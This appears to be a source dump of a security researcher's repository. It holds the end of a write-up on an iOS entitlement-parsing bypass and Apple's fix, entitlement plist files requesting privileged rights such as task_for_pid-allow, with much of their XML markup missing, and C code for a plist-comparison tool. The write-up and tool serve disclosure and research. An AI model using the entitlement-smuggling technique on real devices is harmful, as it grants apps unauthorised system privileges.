| 633 | There are a mere two privileges this bug does not give us: root and kernel. But for both of those, our available attack surfaces just increased a hundredfold, and I would argue that going to root isn't even worth it, because you might as well go straight for the kernel. 634 | 635 | But I hope you will understand, dear reader, that losing one 0day is loss enough for me, so of course escalating past "mobile with every entitlement ever" is left as an exercise to you. ;) 636 | 637 | ## 5. The patch 638 | 639 | Given the elusive nature of this bug, how did Apple ultimately patch it? Obviously there could only be one way: by introducing MORE PLIST PARSERS!!!one! 640 | 641 | In iOS 13.4 already, Apple hardened entitlement checks somewhat, due to a bug report [credited to Linus Henze][cve]: 642 | 643 | > **AppleMobileFileIntegrity** 644 | > 645 | > Available for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation 646 | > 647 | > Impact: An application may be able to use arbitrary entitlements 648 | > 649 | > Description: This issue was addressed with improved checks. 650 | > 651 | > CVE-2020-3883: Linus Henze (pinauten.de) 652 | 653 | While I don't know the exact details of that bug, based on [a tweet of Linus][tweet] I'm assuming this had to do with bplist, which, while also exploiting parser differences, wouldn't have gotten past `amfid`. And my bug actually survived the 13.4 fix, but was finally killed in 13.5 beta 3. 654 | 655 | I also don't know whether it was Linus, Apple or someone else who went on to look for more parser differences, but having two entitlement bugs fixed in two consecutive minor iOS releases feels like too much of a coincidence, so I'm strongly assuming whoever it was drew inspiration from Linus' bug. 656 | 657 | Apple's final fix consists of introducing a new function called `AMFIUnserializeXML`, which is pasted into both AMFI.kext and `amfid`, and is used to compare against the results of `OSUnserializeXML` and `CFPropertyListCreateWithData` to make sure they are the same. You can still include a sequence like `` in your entitlements and it will go through, but try and sneak anything in between those comments, and AMFI will tear your process to shreds and report to syslog: 658 | 659 | > AMFI: detected an anomaly during entitlement parsing. 660 | 661 | So while this does technically bump the number of XML/plist parsers from 4 to 6, it does sadly actually mitigate my bug. :( 662 | 663 | ## 6. Conclusion 664 | 665 | As far as first 0days go, I couldn't have wished for a better one. This single bug has assisted me in dozens of research projects, was used thousands of times every year, and has probably saved me just as many hours. And the exploit for it is in all likelihood the most reliable, clean and elegant one I'll ever write in my entire life. And it even fits in a tweet!! 666 | Well over 3 years since discovery is not half bad for such a bug, but I sure would've loved to keep it another decade or two, and I know I'll dearly miss it in the time to come. 667 | 668 | We can also ask ourselves how a bug like that could ever exist. Why the hell there are 4 different plist parsers on iOS. Why we are still using XML even. But I figure those are more philosophical than technical in nature. And while this entire story shows that it might be a good idea to periodically ask ourselves whether the inaccuracies of our mental models are acceptable, or something should be documented and communicated more thoroughly, I really can't accuse Apple of much here. Bugs like these are probably among the hardest to spot, and I have truly no idea how the hell _I_ was able to find it while so many others didn't. 669 | 670 | Now, I've pumped this post out as soon as I possibly could, so if I've left any mistake in here, you have any questions, or just wanna chat in general, feel free to [file an issue][issue], hit me up on ~~Twitter~~ [Mastodon][mastodon], or shoot me an email at `*@*.net` where `*` = `siguza`. 671 | 672 | At the time of writing, this bug is still present on the latest non-beta version of iOS. The whole project is available [on GitHub][repo], have fun with it while it lasts! 673 | 674 | And finally, some of the reactions I got of Twitter for all of you to enjoy: 675 | 676 | [![tweet](assets/img/2-joke.png)][joke] 677 | 678 | [![tweet](assets/img/3-silly.png)][silly] 679 | 680 | [![tweet](assets/img/4-slick.png)][slick] 681 | 682 | [![tweet](assets/img/5-beautiful.png)][beautiful] 683 | 684 | [![tweet](assets/img/6-thonk.png)][thonk] 685 | 686 | [![tweet](assets/img/7-lmao.png)][lmao] 687 | 688 | 689 | [poc]: https://twitter.com/s1guza/status/1255641164885131268 690 | [lore]: https://tardis.fandom.com/wiki/Psychic_paper 691 | [xkcd-url]: https://xkcd.com/1144/ 692 | [xkcd-img]: https://imgs.xkcd.com/comics/tags.png 693 | [entlist]: http://newosxbook.com/ent.jl 694 | [cl0ver]: https://siguza.github.io/cl0ver/ 695 | [bsdinit]: https://github.com/apple-oss-distributions/xnu/blob/997a5c646dd1c93967b937b2b6fba10c0f0e8d86/iokit/bsddev/IOKitBSDInit.cpp 696 | [iouc]: https://github.com/apple-oss-distributions/xnu/blob/997a5c646dd1c93967b937b2b6fba10c0f0e8d86/iokit/Kernel/IOUserClient.cpp 697 | [iokituser]: https://github.com/apple-oss-distributions/IOKitUser/blob/d6c4ddd46db03d6150b2dc9719d3845114a0264f/IOCFUnserialize.tab.c 698 | [cf]: https://github.com/apple-oss-distributions/CF/blob/dc54c6bb1c1e5e0b9486c1d26dd5bef110b20bf3/CFPropertyList.c 699 | [src]: https://github.com/Siguza/psychicpaper/tree/master/src 700 | [cve]: https://support.apple.com/en-us/HT211102 701 | [tweet]: https://twitter.com/LinusHenze/status/1243170188205461508 702 | [issue]: https://github.com/Siguza/psychicpaper/issues 703 | [mastodon]: https://mastodon.social/@siguza 704 | [repo]: https://github.com/Siguza/psychicpaper 705 | [joke]: https://twitter.com/joshuaseltzer/status/1255653827191148544 706 | [silly]: https://twitter.com/chronic/status/1255679349186981889 707 | [slick]: https://twitter.com/da5ch0/status/1255946105268961280 708 | [beautiful]: https://twitter.com/Emu4iOS/status/1255929980808298500 709 | [thonk]: https://twitter.com/nicolas09F9/status/1255906004719538182 710 | [lmao]: https://twitter.com/InvoxiPlayGames/status/1255648539851587585 711 | [proxy]: https://github.com/Siguza/psychicpaper/blob/master/stuff/proxy.m 712 | -------------------------------------------------------------------------------- /ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | platform-application 8 | 9 | com.apple.private.security.no-container 10 | 11 | task_for_pid-allow 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /ent1.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | task_for_pid-allow 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /ent2.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 8 | task_for_pid-allow 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /ent3.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /nope.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | task_for_pid-allow 6 | 7 | 8 | 9 | ;]> 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/cfj.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2019-2021 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "common.h" 19 | #include "cfj.h" 20 | 21 | static void cfj_dict_cb(const void *key, const void *val, void *context); 22 | static void cfj_arr_cb(const void *val, void *context); 23 | static void cfj_print_str(common_ctx_t *ctx, const CFStringRef str); 24 | static void cfj_print_internal(common_ctx_t *ctx, CFTypeRef obj); 25 | 26 | static void cfj_dict_cb(const void *key, const void *val, void *context) 27 | { 28 | common_ctx_t *ctx = context; 29 | if(ctx->first) 30 | { 31 | fprintf(ctx->stream, "\n"); 32 | ctx->first = false; 33 | } 34 | else 35 | { 36 | fprintf(ctx->stream, ",\n"); 37 | } 38 | fprintf(ctx->stream, "%*s", ctx->lvl * 4, ""); 39 | cfj_print_str(ctx, key); 40 | fprintf(ctx->stream, ": "); 41 | cfj_print_internal(ctx, val); 42 | } 43 | 44 | static void cfj_arr_cb(const void *val, void *context) 45 | { 46 | common_ctx_t *ctx = context; 47 | if(ctx->first) 48 | { 49 | fprintf(ctx->stream, "\n"); 50 | ctx->first = false; 51 | } 52 | else 53 | { 54 | fprintf(ctx->stream, ",\n"); 55 | } 56 | fprintf(ctx->stream, "%*s", ctx->lvl * 4, ""); 57 | cfj_print_internal(ctx, val); 58 | } 59 | 60 | static void cfj_print_str(common_ctx_t *ctx, const CFStringRef str) 61 | { 62 | fprintf(ctx->stream, "\""); 63 | char buf[0x100]; 64 | for(CFIndex i = 0, len = CFStringGetLength(str); i < len; ) 65 | { 66 | CFIndex max = len - i, 67 | out = 0; 68 | CFRange range = CFRangeMake(i, max); 69 | max = CFStringGetBytes(str, range, kCFStringEncodingUTF8, 0, false, (UInt8*)buf, sizeof(buf), &out); 70 | if(ctx->true_json) 71 | { 72 | for(size_t j = 0; j < out; ++j) 73 | { 74 | common_print_char(ctx, buf[j]); 75 | } 76 | } 77 | else 78 | { 79 | fwrite(buf, 1, out, ctx->stream); 80 | } 81 | i += max; 82 | } 83 | fprintf(ctx->stream, "\""); 84 | } 85 | 86 | static void cfj_print_internal(common_ctx_t *ctx, CFTypeRef obj) 87 | { 88 | CFTypeID type = CFGetTypeID(obj); 89 | if(type == CFBooleanGetTypeID()) 90 | { 91 | fprintf(ctx->stream, "%s", CFBooleanGetValue(obj) ? "true" : "false"); 92 | return; 93 | } 94 | else if(type == CFNumberGetTypeID()) 95 | { 96 | if(CFNumberIsFloatType(obj)) 97 | { 98 | double val = 0; 99 | if(CFNumberGetValue(obj, kCFNumberDoubleType, &val)) 100 | { 101 | fprintf(ctx->stream, "%lf", val); 102 | return; 103 | } 104 | } 105 | else 106 | { 107 | unsigned long long val = 0; 108 | if(CFNumberGetValue(obj, kCFNumberLongLongType, &val)) 109 | { 110 | fprintf(ctx->stream, ctx->true_json ? "%llu" : "0x%llx", val); 111 | return; 112 | } 113 | } 114 | } 115 | else if(type == CFStringGetTypeID()) 116 | { 117 | cfj_print_str(ctx, obj); 118 | return; 119 | } 120 | else if(type == CFDataGetTypeID()) 121 | { 122 | CFIndex size = CFDataGetLength(obj); 123 | if(ctx->true_json) 124 | { 125 | common_print_bytes(ctx, CFDataGetBytePtr(obj), size); 126 | } 127 | else if(size > 0) 128 | { 129 | int pad = (ctx->lvl + 1) * 4; 130 | fprintf(ctx->stream, "<\n%*s", pad, ""); 131 | const UInt8 *data = CFDataGetBytePtr(obj); 132 | char cs[17] = {}; 133 | int i; 134 | for(i = 0; i < size; i++) 135 | { 136 | if(i != 0 && i % 0x10 == 0) 137 | { 138 | fprintf(ctx->stream, " |%s|\n%*s", cs, pad, ""); 139 | memset(cs, 0, 17); 140 | } 141 | else if(i != 0 && i % 0x8 == 0) 142 | { 143 | fprintf(ctx->stream, " "); 144 | } 145 | fprintf(ctx->stream, "%02x ", data[i]); 146 | cs[(i % 0x10)] = (data[i] >= 0x20 && data[i] <= 0x7e) ? data[i] : '.'; 147 | } 148 | i = i % 0x10; 149 | if(i != 0) 150 | { 151 | if(i <= 0x8) 152 | { 153 | fprintf(ctx->stream, " "); 154 | } 155 | while(i++ < 0x10) 156 | { 157 | fprintf(ctx->stream, " "); 158 | } 159 | } 160 | fprintf(ctx->stream, " |%s|\n%*s>", cs, pad - 4, ""); 161 | } 162 | return; 163 | } 164 | else if(type == CFDictionaryGetTypeID()) 165 | { 166 | common_ctx_t newctx = 167 | { 168 | .true_json = ctx->true_json, 169 | .bytes_raw = ctx->bytes_raw, 170 | .first = true, 171 | .lvl = ctx->lvl + 1, 172 | .stream = ctx->stream, 173 | }; 174 | fprintf(ctx->stream, "{"); 175 | CFDictionaryApplyFunction(obj, &cfj_dict_cb, &newctx); 176 | if(!newctx.first) 177 | { 178 | fprintf(ctx->stream, "\n%*s", ctx->lvl * 4, ""); 179 | } 180 | fprintf(ctx->stream, "}"); 181 | return; 182 | } 183 | else if(type == CFArrayGetTypeID()) 184 | { 185 | common_ctx_t newctx = 186 | { 187 | .true_json = ctx->true_json, 188 | .bytes_raw = ctx->bytes_raw, 189 | .first = true, 190 | .lvl = ctx->lvl + 1, 191 | .stream = ctx->stream, 192 | }; 193 | fprintf(ctx->stream, "["); 194 | CFArrayApplyFunction(obj, CFRangeMake(0, CFArrayGetCount(obj)), &cfj_arr_cb, &newctx); 195 | if(!newctx.first) 196 | { 197 | fprintf(ctx->stream, "\n%*s", ctx->lvl * 4, ""); 198 | } 199 | fprintf(ctx->stream, "]"); 200 | return; 201 | } 202 | else if(type == CFDateGetTypeID()) 203 | { 204 | time_t time = floor(CFDateGetAbsoluteTime(obj) + kCFAbsoluteTimeIntervalSince1970); 205 | struct tm date = {}; 206 | gmtime_r(&time, &date); 207 | fprintf(ctx->stream, "\"%04d-%02d-%02dT%02d:%02d:%02dZ\"", date.tm_year + 1900, date.tm_mon + 1, date.tm_mday, date.tm_hour, date.tm_min, date.tm_sec); 208 | return; 209 | } 210 | else 211 | { 212 | fprintf(ctx->stream, ""); 213 | return; 214 | } 215 | fprintf(ctx->stream, ""); 216 | } 217 | 218 | void cfj_print(FILE *stream, CFTypeRef obj, bool true_json, bool bytes_raw) 219 | { 220 | common_ctx_t ctx = 221 | { 222 | .true_json = true_json, 223 | .bytes_raw = bytes_raw, 224 | .first = false, 225 | .lvl = 0, 226 | .stream = stream, 227 | }; 228 | cfj_print_internal(&ctx, obj); 229 | fprintf(stream, "\n"); 230 | } 231 | -------------------------------------------------------------------------------- /src/cfj.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2019-2021 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #ifndef CFJ_H 12 | #define CFJ_H 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | void cfj_print(FILE *stream, CFTypeRef obj, bool true_json, bool bytes_raw); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /src/common.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2020 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "common.h" 17 | 18 | extern size_t SecBase64Encode(void const *src, size_t srcSize, char *dest, size_t destLen); 19 | 20 | void common_print_bytes(common_ctx_t *ctx, const uint8_t *buf, size_t size) 21 | { 22 | if(ctx->bytes_raw) 23 | { 24 | fprintf(ctx->stream, "\""); 25 | for(size_t i = 0; i < size; ++i) 26 | { 27 | common_print_char(ctx, (char)buf[i]); 28 | } 29 | fprintf(ctx->stream, "\""); 30 | } 31 | else 32 | { 33 | size_t encoded_size = ((size + 2) / 3) * 4 + 1; 34 | char *str = malloc(encoded_size); 35 | if(!str) 36 | { 37 | fprintf(ctx->stream, ""); 38 | } 39 | else 40 | { 41 | str[encoded_size - 1] = '\0'; 42 | SecBase64Encode(buf, size, str, encoded_size); 43 | fprintf(ctx->stream, "\"%s\"", str); 44 | free(str); 45 | } 46 | } 47 | } 48 | 49 | void common_print_char(common_ctx_t *ctx, char c) 50 | { 51 | // This catches both <0x20 and >=0x80 52 | if(c < 0x20) 53 | { 54 | fprintf(ctx->stream, "\\u%04hx", (unsigned char)c); 55 | return; 56 | } 57 | switch(c) 58 | { 59 | case '\n': 60 | fputs("\\n", ctx->stream); 61 | return; 62 | case '\r': 63 | fputs("\\r", ctx->stream); 64 | return; 65 | case '\t': 66 | fputs("\\t", ctx->stream); 67 | return; 68 | case '\f': 69 | fputs("\\f", ctx->stream); 70 | return; 71 | case '\b': 72 | fputs("\\b", ctx->stream); 73 | return; 74 | case '\\': 75 | case '"': 76 | fputc('\\', ctx->stream); 77 | break; 78 | } 79 | fputc(c, ctx->stream); 80 | } 81 | -------------------------------------------------------------------------------- /src/common.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2020 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #ifndef COMMON_H 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | typedef struct 19 | { 20 | bool true_json; 21 | bool bytes_raw; 22 | bool first; 23 | int lvl; 24 | FILE *stream; 25 | } common_ctx_t; 26 | 27 | void common_print_bytes(common_ctx_t *ctx, const uint8_t *buf, size_t size); 28 | void common_print_char(common_ctx_t *ctx, char c); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /src/iokit.h: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2020 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #ifndef IOKIT_H 12 | #define IOKIT_H 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | typedef char io_name_t[128]; 19 | typedef char io_string_t[512]; 20 | typedef char io_struct_inband_t[4096]; 21 | typedef mach_port_t io_object_t; 22 | typedef io_object_t io_registry_entry_t; 23 | typedef io_object_t io_service_t; 24 | typedef io_object_t io_connect_t; 25 | typedef io_object_t io_iterator_t; 26 | 27 | enum 28 | { 29 | kIOCFSerializeToBinary = 0x00000001U, 30 | }; 31 | 32 | enum 33 | { 34 | kIORegistryIterateRecursively = 0x00000001U, 35 | kIORegistryIterateParents = 0x00000002U, 36 | }; 37 | 38 | enum 39 | { 40 | kOSSerializeDictionary = 0x01000000U, 41 | kOSSerializeArray = 0x02000000U, 42 | kOSSerializeSet = 0x03000000U, 43 | kOSSerializeNumber = 0x04000000U, 44 | kOSSerializeSymbol = 0x08000000U, 45 | kOSSerializeString = 0x09000000U, 46 | kOSSerializeData = 0x0a000000U, 47 | kOSSerializeBoolean = 0x0b000000U, 48 | kOSSerializeObject = 0x0c000000U, 49 | 50 | kOSSerializeTypeMask = 0x7F000000U, 51 | kOSSerializeDataMask = 0x00FFFFFFU, 52 | 53 | kOSSerializeEndCollection = 0x80000000U, 54 | 55 | kOSSerializeMagic = 0x000000d3U, 56 | }; 57 | 58 | extern const mach_port_t kIOMasterPortDefault; 59 | 60 | CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); 61 | CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err); 62 | 63 | kern_return_t IOObjectRetain(io_object_t object); 64 | kern_return_t IOObjectRelease(io_object_t object); 65 | boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name); 66 | uint32_t IOObjectGetKernelRetainCount(io_object_t object); 67 | kern_return_t IOObjectGetClass(io_object_t object, io_name_t name); 68 | CFStringRef IOObjectCopyClass(io_object_t object); 69 | CFStringRef IOObjectCopySuperclassForClass(CFStringRef name); 70 | CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name); 71 | 72 | io_registry_entry_t IORegistryGetRootEntry(mach_port_t master); 73 | kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); 74 | kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID); 75 | kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path); 76 | kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size); 77 | kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options); 78 | CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options); 79 | kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); 80 | 81 | kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it); 82 | kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it); 83 | kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); 84 | kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); 85 | io_object_t IOIteratorNext(io_iterator_t it); 86 | boolean_t IOIteratorIsValid(io_iterator_t it); 87 | void IOIteratorReset(io_iterator_t it); 88 | 89 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 90 | CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED; 91 | io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 92 | kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it); 93 | kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID); 94 | kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID); 95 | kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client); 96 | kern_return_t IOServiceClose(io_connect_t client); 97 | kern_return_t IOCloseConnection(io_connect_t client); 98 | kern_return_t IOConnectAddRef(io_connect_t client); 99 | kern_return_t IOConnectRelease(io_connect_t client); 100 | kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service); 101 | kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other); 102 | kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref); 103 | kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options); 104 | kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr); 105 | kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties); 106 | kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); 107 | kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); 108 | kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); 109 | kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); 110 | kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); 111 | kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); 112 | kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f); 113 | 114 | #endif 115 | -------------------------------------------------------------------------------- /src/plparse.c: -------------------------------------------------------------------------------- 1 | /* Copyright (c) 2020 Siguza 2 | * 3 | * This Source Code Form is subject to the terms of the Mozilla Public 4 | * License, v. 2.0. If a copy of the MPL was not distributed with this 5 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 6 | * 7 | * This Source Code Form is "Incompatible With Secondary Licenses", as 8 | * defined by the Mozilla Public License, v. 2.0. 9 | **/ 10 | 11 | #include 12 | #include // open 13 | #include 14 | #include // stdin, stdout, stderr, fprintf, printf, fseek, ftell 15 | #include // realloc, free 16 | #include // strerror, strcmp 17 | #include // close 18 | #include // mmap, munmap 19 | #include // fstat 20 | #include 21 | 22 | #include "cfj.h" 23 | #include "iokit.h" 24 | #include "xpcj.h" 25 | 26 | #define WRN(str, args...) do { fprintf(stderr, "\x1b[1;93m" str "\x1b[0m\n", ##args); } while(0) 27 | 28 | static CFTypeRef cf_get(CFTypeRef obj, int argc, const char **argv) 29 | { 30 | for(size_t i = 0; obj && i < argc; ++i) 31 | { 32 | CFTypeID type = CFGetTypeID(obj); 33 | if(type == CFDictionaryGetTypeID()) 34 | { 35 | CFStringRef key = CFStringCreateWithCStringNoCopy(NULL, argv[i], kCFStringEncodingUTF8, kCFAllocatorNull); 36 | if(!key) 37 | { 38 | obj = NULL; 39 | } 40 | else 41 | { 42 | obj = CFDictionaryGetValue(obj, key); 43 | CFRelease(key); 44 | } 45 | } 46 | else if(type == CFArrayGetTypeID()) 47 | { 48 | char *end = NULL; 49 | unsigned long long idx = strtoull(argv[i], &end, 0); 50 | if(argv[i][0] == '\0' || end[0] != '\0') 51 | { 52 | obj = NULL; 53 | } 54 | else 55 | { 56 | obj = CFArrayGetValueAtIndex(obj, idx); 57 | } 58 | } 59 | else 60 | { 61 | obj = NULL; 62 | } 63 | } 64 | return obj; 65 | } 66 | 67 | static xpc_object_t xpc_get(xpc_object_t obj, int argc, const char **argv) 68 | { 69 | for(size_t i = 0; obj && i < argc; ++i) 70 | { 71 | xpc_type_t type = xpc_get_type(obj); 72 | if(type == XPC_TYPE_DICTIONARY) 73 | { 74 | obj = xpc_dictionary_get_value(obj, argv[i]); 75 | } 76 | else if(type == XPC_TYPE_ARRAY) 77 | { 78 | char *end = NULL; 79 | unsigned long long idx = strtoull(argv[i], &end, 0); 80 | if(argv[i][0] == '\0' || end[0] != '\0') 81 | { 82 | obj = NULL; 83 | } 84 | else 85 | { 86 | obj = xpc_array_get_value(obj, idx); 87 | } 88 | } 89 | else 90 | { 91 | obj = NULL; 92 | } 93 | } 94 | return obj; 95 | } 96 | 97 | int main(int argc, const char **argv) 98 | { 99 | bool cf = false, 100 | io = false, 101 | xpc = false, 102 | json = false, 103 | raw = false; 104 | int aoff = 1; 105 | for(; aoff < argc; ++aoff) 106 | { 107 | if(argv[aoff][0] != '-') break; 108 | if(strcmp(argv[aoff], "--") == 0) 109 | { 110 | ++aoff; 111 | break; 112 | } 113 | for(size_t i = 1; argv[aoff][i] != '\0'; ++i) 114 | { 115 | switch(argv[aoff][i]) 116 | { 117 | case 'c': cf = true; break; 118 | case 'i': io = true; break; 119 | case 'x': xpc = true; break; 120 | case 'j': json = true; break; 121 | case 'r': raw = true; break; 122 | default: 123 | WRN("Bad flag: -%c", argv[aoff][i]); 124 | break; 125 | } 126 | } 127 | } 128 | if(argc - aoff < 1) 129 | { 130 | WRN("Usage: %s -[cix] [-j] [-r] file [selector...]", argv[0]); 131 | return -1; 132 | } 133 | 134 | int retval = -1, 135 | r = 0, 136 | fd = -1; 137 | size_t len = 0; 138 | void *addr = NULL; 139 | 140 | const char *ifile = argv[aoff++]; 141 | if(strcmp(ifile, "-") == 0) 142 | { 143 | size_t sz = 0x8000; 144 | while(1) 145 | { 146 | sz *= 2; 147 | addr = realloc(addr, sz); 148 | if(!addr) 149 | { 150 | WRN("realloc: %s", strerror(errno)); 151 | goto out; 152 | } 153 | size_t want = sz - len; 154 | size_t have = fread((char*)addr + len, 1, sz - len, stdin); 155 | len += have; 156 | if(have < want) 157 | { 158 | if(feof(stdin)) 159 | { 160 | break; 161 | } 162 | WRN("fread: %s", strerror(errno)); 163 | goto out; 164 | } 165 | } 166 | } 167 | else 168 | { 169 | struct stat s = {}; 170 | fd = open(ifile, O_RDONLY); 171 | if(fd < 0) 172 | { 173 | WRN("open: %s", strerror(errno)); 174 | goto out; 175 | } 176 | r = fstat(fd, &s); 177 | if(r != 0) 178 | { 179 | WRN("fstat: %s", strerror(errno)); 180 | goto out; 181 | } 182 | len = s.st_size; 183 | addr = mmap(NULL, len, PROT_READ, MAP_FILE | MAP_PRIVATE, fd, 0); 184 | if(addr == MAP_FAILED) 185 | { 186 | WRN("mmap: %s", strerror(errno)); 187 | goto out; 188 | } 189 | } 190 | retval = 0; 191 | if(cf) 192 | { 193 | CFPropertyListRef cfplist = NULL; 194 | CFDataRef cfdata = CFDataCreateWithBytesNoCopy(NULL, addr, len, kCFAllocatorNull); 195 | if(cfdata) 196 | { 197 | cfplist = CFPropertyListCreateWithData(NULL, cfdata, 0, NULL, NULL); 198 | CFRelease(cfdata); 199 | } 200 | if(cfplist) 201 | { 202 | CFTypeRef obj = cf_get(cfplist, argc - aoff, &argv[aoff]); 203 | if(obj) 204 | { 205 | cfj_print(stdout, obj, json, raw); 206 | } 207 | else 208 | { 209 | WRN("CF: bad key"); 210 | retval = -1; 211 | } 212 | CFRelease(cfplist); 213 | } 214 | else 215 | { 216 | WRN("CF says nooo"); 217 | retval = -1; 218 | } 219 | } 220 | if(io) 221 | { 222 | CFTypeRef ioplist = IOCFUnserializeWithSize(addr, len, NULL, 0, NULL); 223 | if(ioplist) 224 | { 225 | CFTypeRef obj = cf_get(ioplist, argc - aoff, &argv[aoff]); 226 | if(obj) 227 | { 228 | cfj_print(stdout, obj, json, raw); 229 | } 230 | else 231 | { 232 | WRN("IOKit: bad key"); 233 | retval = -1; 234 | } 235 | CFRelease(ioplist); 236 | } 237 | else 238 | { 239 | WRN("IOKit says 